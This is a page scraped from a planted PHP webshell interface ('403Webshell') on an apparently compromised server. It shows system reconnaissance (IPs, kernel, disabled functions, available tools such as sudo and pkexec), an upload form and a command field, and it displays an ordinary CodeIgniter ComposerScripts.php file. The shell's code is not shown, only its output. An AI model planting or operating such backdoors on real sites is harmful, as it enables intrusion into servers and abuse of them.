403Webshell
Server IP : 104.21.31.197  /  Your IP : 172.64.215.77
Web Server : nginx/1.20.2
System : Linux 172-104-110-161.ip.linodeusercontent.com 3.10.0-1160.36.2.el7.x86_64 #1 SMP Wed Jul 21 11:57:15 UTC 2021 x86_64
User : www ( 1000)
PHP Version : 8.1.9
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /www/wwwroot/msidriver.com/system/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/wwwroot/msidriver.com/system/ComposerScripts.php
<?php

/**
 * This file is part of the CodeIgniter 4 framework.
 *
 * (c) CodeIgniter Foundation <[email protected]>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace CodeIgniter;

use FilesystemIterator;
use RecursiveDirectoryIterator;
use RecursiveIteratorIterator;
use SplFileInfo;

/**
 * This class is used by Composer during installs and updates
 * to move files to locations within the system folder so that end-users
 * do not need to use Composer to install a package, but can simply
 * download.
 *
 * @codeCoverageIgnore
 *
 * @internal
 */
final class ComposerScripts
{
	/**
	 * Path to the ThirdParty directory.
	 *
	 * @var string
	 */
	private static $path = __DIR__ . '/ThirdParty/';

	/**
	 * Direct dependencies of CodeIgniter to copy
	 * contents to `system/ThirdParty/`.
	 *
	 * @var array<string, array<string, string>>
	 */
	private static $dependencies = [
		'kint-src' => [
			'from' => __DIR__ . '/../vendor/kint-php/kint/src/',
			'to'   => __DIR__ . '/ThirdParty/Kint/',
		],
		'kint-resources' => [
			'from' => __DIR__ . '/../vendor/kint-php/kint/resources/',
			'to'   => __DIR__ . '/ThirdParty/Kint/resources/',
		],
		'escaper' => [
			'from' => __DIR__ . '/../vendor/laminas/laminas-escaper/src/',
			'to'   => __DIR__ . '/ThirdParty/Escaper/',
		],
		'psr-log' => [
			'from' => __DIR__ . '/../vendor/psr/log/Psr/Log/',
			'to'   => __DIR__ . '/ThirdParty/PSR/Log/',
		],
	];

	/**
	 * This static method is called by Composer after every update event,
	 * i.e., `composer install`, `composer update`, `composer remove`.
	 *
	 * @return void
	 */
	public static function postUpdate()
	{
		self::recursiveDelete(self::$path);

		foreach (self::$dependencies as $dependency)
		{
			self::recursiveMirror($dependency['from'], $dependency['to']);
		}

		self::copyKintInitFiles();
		self::recursiveDelete(self::$dependencies['psr-log']['to'] . 'Test/');
	}

	/**
	 * Recursively remove the contents of the previous `system/ThirdParty`.
	 *
	 * @param string $directory
	 *
	 * @return void
	 */
	private static function recursiveDelete(string $directory): void
	{
		if (! is_dir($directory))
		{
			echo sprintf('Cannot recursively delete "%s" as it does not exist.', $directory);
		}

		/** @var SplFileInfo $file */
		foreach (new RecursiveIteratorIterator(
			new RecursiveDirectoryIterator(rtrim($directory, '\\/'), FilesystemIterator::SKIP_DOTS),
			RecursiveIteratorIterator::CHILD_FIRST
		) as $file)
		{
			$path = $file->getPathname();

			if ($file->isDir())
			{
				@rmdir($path);
			}
			else
			{
				@unlink($path);
			}
		}
	}

	/**
	 * Recursively copy the files and directories of the origin directory
	 * into the target directory, i.e. "mirror" its contents.
	 *
	 * @param string $originDir
	 * @param string $targetDir
	 *
	 * @return void
	 */
	private static function recursiveMirror(string $originDir, string $targetDir): void
	{
		$originDir = rtrim($originDir, '\\/');
		$targetDir = rtrim($targetDir, '\\/');

		if (! is_dir($originDir))
		{
			echo sprintf('The origin directory "%s" was not found.', $originDir);
			exit(1);
		}

		if (is_dir($targetDir))
		{
			echo sprintf('The target directory "%s" is existing. Run %s::recursiveDelete(\'%s\') first.', $targetDir, self::class, $targetDir);
			exit(1);
		}

		@mkdir($targetDir, 0755, true);

		$dirLen = strlen($originDir);

		/** @var SplFileInfo $file */
		foreach (new RecursiveIteratorIterator(
			new RecursiveDirectoryIterator($originDir, FilesystemIterator::SKIP_DOTS),
			RecursiveIteratorIterator::SELF_FIRST
		) as $file)
		{
			$origin = $file->getPathname();
			$target = $targetDir . substr($origin, $dirLen);

			if ($file->isDir())
			{
				@mkdir($target, 0755);
			}
			else
			{
				@copy($origin, $target);
			}
		}
	}

	/**
	 * Copy Kint's init files into `system/ThirdParty/Kint/`
	 *
	 * @return void
	 */
	private static function copyKintInitFiles(): void
	{
		$originDir = self::$dependencies['kint-src']['from'] . '../';
		$targetDir = self::$dependencies['kint-src']['to'];

		foreach (['init.php', 'init_helpers.php'] as $kintInit)
		{
			@copy($originDir . $kintInit, $targetDir . $kintInit);
		}
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit